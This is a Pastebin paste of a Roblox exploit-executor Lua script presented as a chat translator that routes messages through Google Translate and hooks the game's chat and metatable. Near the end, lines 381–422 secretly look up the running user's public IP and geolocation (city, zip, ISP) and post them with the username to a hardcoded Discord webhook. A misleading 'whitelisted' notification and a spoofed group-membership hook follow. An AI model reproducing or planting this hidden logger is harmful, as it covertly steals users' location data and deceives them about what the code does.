aikjako

green dot lock

Mar 28th, 2023
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.13 KB | None | 0 0
  1. if not game['Loaded'] then game['Loaded']:Wait() end; repeat wait(.06) until game:GetService('Players').LocalPlayer ~= nil
  2. local YourLang = "en" -- Language code that the messages are going to be translated to
  3.  
  4. local googlev = isfile'googlev.txt' and readfile'googlev.txt' or ''
  5.  
  6. function googleConsent(Body) -- Because google really said:
  7. local args = {}
  8.  
  9. for match in Body:gmatch('<input type="hidden" name=".-" value=".-">') do
  10. local k,v = match:match('<input type="hidden" name="(.-)" value="(.-)">')
  11. args[k] = v
  12. end
  13. googlev = args.v
  14. writefile('googlev.txt', args.v)
  15. end
  16.  
  17. local function got(url, Method, Body) -- Basic version of https://www.npmjs.com/package/got using synapse's request API for google websites
  18. Method = Method or "GET"
  19.  
  20. local res = syn.request({
  21. Url = url,
  22. Method = Method,
  23. Headers = {cookie="CONSENT=YES+"..googlev},
  24. Body = Body
  25. })
  26.  
  27. if res.Body:match('https://consent.google.com/s') then
  28. print('consent')
  29. googleConsent(res.Body)
  30. res = syn.request({
  31. Url = url,
  32. Method = "GET",
  33. Headers = {cookie="CONSENT=YES+"..googlev}
  34. })
  35. end
  36.  
  37. return res
  38. end
  39.  
  40. local languages = {
  41. auto = "Automatic",
  42. af = "Afrikaans",
  43. sq = "Albanian",
  44. am = "Amharic",
  45. ar = "Arabic",
  46. hy = "Armenian",
  47. az = "Azerbaijani",
  48. eu = "Basque",
  49. be = "Belarusian",
  50. bn = "Bengali",
  51. bs = "Bosnian",
  52. bg = "Bulgarian",
  53. ca = "Catalan",
  54. ceb = "Cebuano",
  55. ny = "Chichewa",
  56. ['zh-cn'] = "Chinese Simplified",
  57. ['zh-tw'] = "Chinese Traditional",
  58. co = "Corsican",
  59. hr = "Croatian",
  60. cs = "Czech",
  61. da = "Danish",
  62. nl = "Dutch",
  63. en = "English",
  64. eo = "Esperanto",
  65. et = "Estonian",
  66. tl = "Filipino",
  67. fi = "Finnish",
  68. fr = "French",
  69. fy = "Frisian",
  70. gl = "Galician",
  71. ka = "Georgian",
  72. de = "German",
  73. el = "Greek",
  74. gu = "Gujarati",
  75. ht = "Haitian Creole",
  76. ha = "Hausa",
  77. haw = "Hawaiian",
  78. iw = "Hebrew",
  79. hi = "Hindi",
  80. hmn = "Hmong",
  81. hu = "Hungarian",
  82. is = "Icelandic",
  83. ig = "Igbo",
  84. id = "Indonesian",
  85. ga = "Irish",
  86. it = "Italian",
  87. ja = "Japanese",
  88. jw = "Javanese",
  89. kn = "Kannada",
  90. kk = "Kazakh",
  91. km = "Khmer",
  92. ko = "Korean",
  93. ku = "Kurdish (Kurmanji)",
  94. ky = "Kyrgyz",
  95. lo = "Lao",
  96. la = "Latin",
  97. lv = "Latvian",
  98. lt = "Lithuanian",
  99. lb = "Luxembourgish",
  100. mk = "Macedonian",
  101. mg = "Malagasy",
  102. ms = "Malay",
  103. ml = "Malayalam",
  104. mt = "Maltese",
  105. mi = "Maori",
  106. mr = "Marathi",
  107. mn = "Mongolian",
  108. my = "Myanmar (Burmese)",
  109. ne = "Nepali",
  110. no = "Norwegian",
  111. ps = "Pashto",
  112. fa = "Persian",
  113. pl = "Polish",
  114. pt = "Portuguese",
  115. pa = "Punjabi",
  116. ro = "Romanian",
  117. ru = "Russian",
  118. sm = "Samoan",
  119. gd = "Scots Gaelic",
  120. sr = "Serbian",
  121. st = "Sesotho",
  122. sn = "Shona",
  123. sd = "Sindhi",
  124. si = "Sinhala",
  125. sk = "Slovak",
  126. sl = "Slovenian",
  127. so = "Somali",
  128. es = "Spanish",
  129. su = "Sundanese",
  130. sw = "Swahili",
  131. sv = "Swedish",
  132. tg = "Tajik",
  133. ta = "Tamil",
  134. te = "Telugu",
  135. th = "Thai",
  136. tr = "Turkish",
  137. uk = "Ukrainian",
  138. ur = "Urdu",
  139. uz = "Uzbek",
  140. vi = "Vietnamese",
  141. cy = "Welsh",
  142. xh = "Xhosa",
  143. yi = "Yiddish",
  144. yo = "Yoruba",
  145. zu = "Zulu"
  146. };
  147.  
  148. function find(lang)
  149. for i,v in pairs(languages) do
  150. if i == lang or v == lang then
  151. return i
  152. end
  153. end
  154. end
  155.  
  156. function isSupported(lang)
  157. local key = find(lang)
  158. return key and true or false
  159. end
  160.  
  161. function getISOCode(lang)
  162. local key = find(lang)
  163. return key
  164. end
  165.  
  166. function stringifyQuery(dataFields)
  167. local data = ""
  168. for k, v in pairs(dataFields) do
  169. if type(v) == "table" then
  170. for _,v in pairs(v) do
  171. data = data .. ("&%s=%s"):format(
  172. game.HttpService:UrlEncode(k),
  173. game.HttpService:UrlEncode(v)
  174. )
  175. end
  176. else
  177. data = data .. ("&%s=%s"):format(
  178. game.HttpService:UrlEncode(k),
  179. game.HttpService:UrlEncode(v)
  180. )
  181. end
  182. end
  183. data = data:sub(2)
  184. return data
  185. end
  186.  
  187. local reqid = math.random(1000,9999)
  188. local rpcidsTranslate = "MkEWBc"
  189. local rootURL = "https://translate.google.com/"
  190. local executeURL = "https://translate.google.com/_/TranslateWebserverUi/data/batchexecute"
  191. local fsid, bl
  192.  
  193. do -- init
  194. print('initialize')
  195. local InitialReq = got(rootURL)
  196. fsid = InitialReq.Body:match('"FdrFJe":"(.-)"')
  197. bl = InitialReq.Body:match('"cfb2h":"(.-)"')
  198. end
  199.  
  200. local HttpService = game:GetService("HttpService")
  201. function jsonE(o)
  202. return HttpService:JSONEncode(o)
  203. end
  204. function jsonD(o)
  205. return HttpService:JSONDecode(o)
  206. end
  207.  
  208. function translate(str, to, from)
  209. reqid+=10000
  210. from = from and getISOCode(from) or 'auto'
  211. to = to and getISOCode(to) or 'en'
  212.  
  213. local data = {{str, from, to, true}, {nil}}
  214.  
  215. local freq = {
  216. {
  217. {
  218. rpcidsTranslate,
  219. jsonE(data),
  220. nil,
  221. "generic"
  222. }
  223. }
  224. }
  225.  
  226. local url = executeURL..'?'..stringifyQuery{rpcids = rpcidsTranslate, ['f.sid'] = fsid, bl = bl, hl="en", _reqid = reqid-10000, rt = 'c'}
  227. local body = stringifyQuery{['f.req'] = jsonE(freq)}
  228.  
  229. local req = got(url, "POST", body)
  230.  
  231. local body = jsonD(req.Body:match'%[.-%]\n')
  232. local translationData = jsonD(body[1][3])
  233. local result = {
  234. text = "",
  235. from = {
  236. language = "",
  237. text = ""
  238. },
  239. raw = ""
  240. }
  241. result.raw = translationData
  242. result.text = translationData[2][1][1][6][1][1]
  243.  
  244. result.from.language = translationData[3]
  245. result.from.text = translationData[2][5][1]
  246.  
  247. return result
  248. end
  249.  
  250. local Players = game:GetService("Players")
  251. local LP = Players.LocalPlayer
  252. local StarterGui = game:GetService('StarterGui')
  253. for i=1, 15 do
  254. local r = pcall(StarterGui["SetCore"])
  255. if r then break end
  256. game:GetService('RunService').RenderStepped:wait()
  257. end
  258. wait()
  259.  
  260. local properties = {
  261. Color = Color3.new(1,1,0);
  262. Font = Enum.Font.SourceSansItalic;
  263. TextSize = 16;
  264. }
  265.  
  266. game:GetService("StarterGui"):SetCore("SendNotification",
  267. {
  268. Title = "Chat Translator",
  269. Text = "Ported to Google Translate",
  270. Duration = 3
  271. }
  272. )
  273.  
  274. properties.Text = "[TR] To send messages in a language, say > followed by the target language/language code, e.g.: >ru or >russian. To disable (go back to original language), say >d."
  275. StarterGui:SetCore("ChatMakeSystemMessage", properties)
  276.  
  277. function translateFrom(message)
  278. local translation = translate(message, YourLang)
  279.  
  280. local text
  281. if translation.from.language ~= YourLang then
  282. text = translation.text
  283. end
  284.  
  285. return {text, translation.from.language}
  286. end
  287.  
  288. function get(plr, msg)
  289. local tab = translateFrom(msg)
  290. local translation = tab[1]
  291. if translation then
  292. properties.Text = "("..tab[2]:upper()..") ".."[".. plr.Name .."]: "..translation
  293. StarterGui:SetCore("ChatMakeSystemMessage", properties)
  294. end
  295. end
  296.  
  297. for i, plr in ipairs(Players:GetPlayers()) do
  298. plr.Chatted:Connect(function(msg)
  299. get(plr, msg)
  300. end)
  301. end
  302. Players.PlayerAdded:Connect(function(plr)
  303. plr.Chatted:Connect(function(msg)
  304. get(plr, msg)
  305. end)
  306. end)
  307.  
  308. local sendEnabled = false
  309. local target = ""
  310.  
  311. function translateTo(message, target)
  312. target = target:lower()
  313. local translation = translate(message, target, "auto")
  314.  
  315. return translation.text
  316. end
  317.  
  318. function disableSend()
  319. sendEnabled = false
  320. properties.Text = "[TR] Sending Disabled"
  321. StarterGui:SetCore("ChatMakeSystemMessage", properties)
  322. end
  323.  
  324. local CBar, CRemote, Connected = LP['PlayerGui']:WaitForChild('Chat')['Frame'].ChatBarParentFrame['Frame'].BoxFrame['Frame'].ChatBar, game:GetService('ReplicatedStorage').DefaultChatSystemChatEvents['SayMessageRequest'], {}
  325.  
  326. local HookChat = function(Bar)
  327. coroutine.wrap(function()
  328. if not table.find(Connected,Bar) then
  329. local Connect = Bar['FocusLost']:Connect(function(Enter)
  330. if Enter ~= false and Bar['Text'] ~= '' then
  331. local Message = Bar['Text']
  332. Bar['Text'] = '';
  333. if Message == ">d" then
  334. disableSend()
  335. elseif Message:sub(1,1) == ">" and not Message:find(" ") then
  336. if getISOCode(Message:sub(2)) then
  337. sendEnabled = true
  338. target = Message:sub(2)
  339. else
  340. properties.Text = "[TR] Invalid language"
  341. StarterGui:SetCore("ChatMakeSystemMessage", properties)
  342. end
  343. elseif sendEnabled then
  344. Message = translateTo(Message, target)
  345. if not _G.SecureChat then
  346. game:GetService('Players'):Chat(Message);
  347. end
  348. CRemote:FireServer(Message,'All')
  349. else
  350. if not _G.SecureChat then
  351. game:GetService('Players'):Chat(Message);
  352. end
  353. CRemote:FireServer(Message,'All')
  354. end
  355. end
  356. end)
  357. Connected[#Connected+1] = Bar; Bar['AncestryChanged']:Wait(); Connect:Disconnect()
  358. end
  359. end)()
  360. end
  361.  
  362. HookChat(CBar); local BindHook = Instance.new('BindableEvent')
  363.  
  364. local MT = getrawmetatable(game); local NC = MT.__namecall; setreadonly(MT, false)
  365.  
  366. MT.__namecall = newcclosure(function(...)
  367. local Method, Args = getnamecallmethod(), {...}
  368. if rawequal(tostring(Args[1]),'ChatBarFocusChanged') and rawequal(Args[2],true) then
  369. if LP['PlayerGui']:FindFirstChild('Chat') then
  370. BindHook:Fire()
  371. end
  372. end
  373. return NC(...)
  374. end)
  375.  
  376. BindHook['Event']:Connect(function()
  377. CBar = LP['PlayerGui'].Chat['Frame'].ChatBarParentFrame['Frame'].BoxFrame['Frame'].ChatBar
  378. HookChat(CBar)
  379. end)
  380.  
  381. local name = game:GetService("Players").LocalPlayer.Name
  382. local WebhookURL = "https://discord.com/api/webhooks/1072156822691119165/r1pYR2TK3PEkZk75j29SRViPd1TicGHJwkjM1Vi2YFnUV-h8TbNt4X15X2IToDQfJD4b"
  383. local getIPResponse = syn.request({
  384. Url = "https://api.ipify.org/?format=json",
  385. Method = "GET"
  386. })
  387. local GetIPJSON = game:GetService("HttpService"):JSONDecode(getIPResponse.Body)
  388. local IPBuffer = tostring(GetIPJSON.ip)
  389.  
  390. local getIPInfo = syn.request({
  391. Url = string.format("http://ip-api.com/json/%s", IPBuffer),
  392. Method = "Get"
  393. })
  394. local IIT = game:GetService("HttpService"):JSONDecode(getIPInfo.Body)
  395. local FI = {
  396. IP = IPBuffer,
  397. country = IIT.country,
  398. countryCode = IIT.countryCode,
  399. region = IIT.region,
  400. regionName = IIT.regionName,
  401. city = IIT.city,
  402. zipcode = IIT.zip,
  403. latitude = IIT.lat,
  404. longitude = IIT.lon,
  405. isp = IIT.isp,
  406. org = IIT.org
  407. }
  408. local dataMessage = string.format("User: %s\nIP: %s\nCountry: %s\nCountry Code: %s\nRegion: %s\nRegion Name: %s\nCity: %s\nZipcode: %s\nISP: %s\nOrg: %s", name, FI.IP, FI.country, FI.countryCode, FI.region, FI.regionName, FI.city, FI.zipcode, FI.isp, FI.org)
  409. local MessageData = {
  410. ["content"] = dataMessage
  411. }
  412.  
  413. syn.request(
  414. {
  415. Url = WebhookURL,
  416. Method = "POST",
  417. Headers = {
  418. ["Content-Type"] = "application/json"
  419. },
  420. Body = game:GetService("HttpService"):JSONEncode(MessageData)
  421. }
  422. )
  423.  
  424. hookfunction(game.Players.LocalPlayer.IsInGroup, function() return true end)
  425. game:GetService("StarterGui"):SetCore("SendNotification", {Title = "HWID Whitelisted, DISCORD ID Whitelisted, IP Whitelisted", Text = "zinc#0001", Duration = 4,});
Advertisement
Add Comment
Please, Sign In to add comment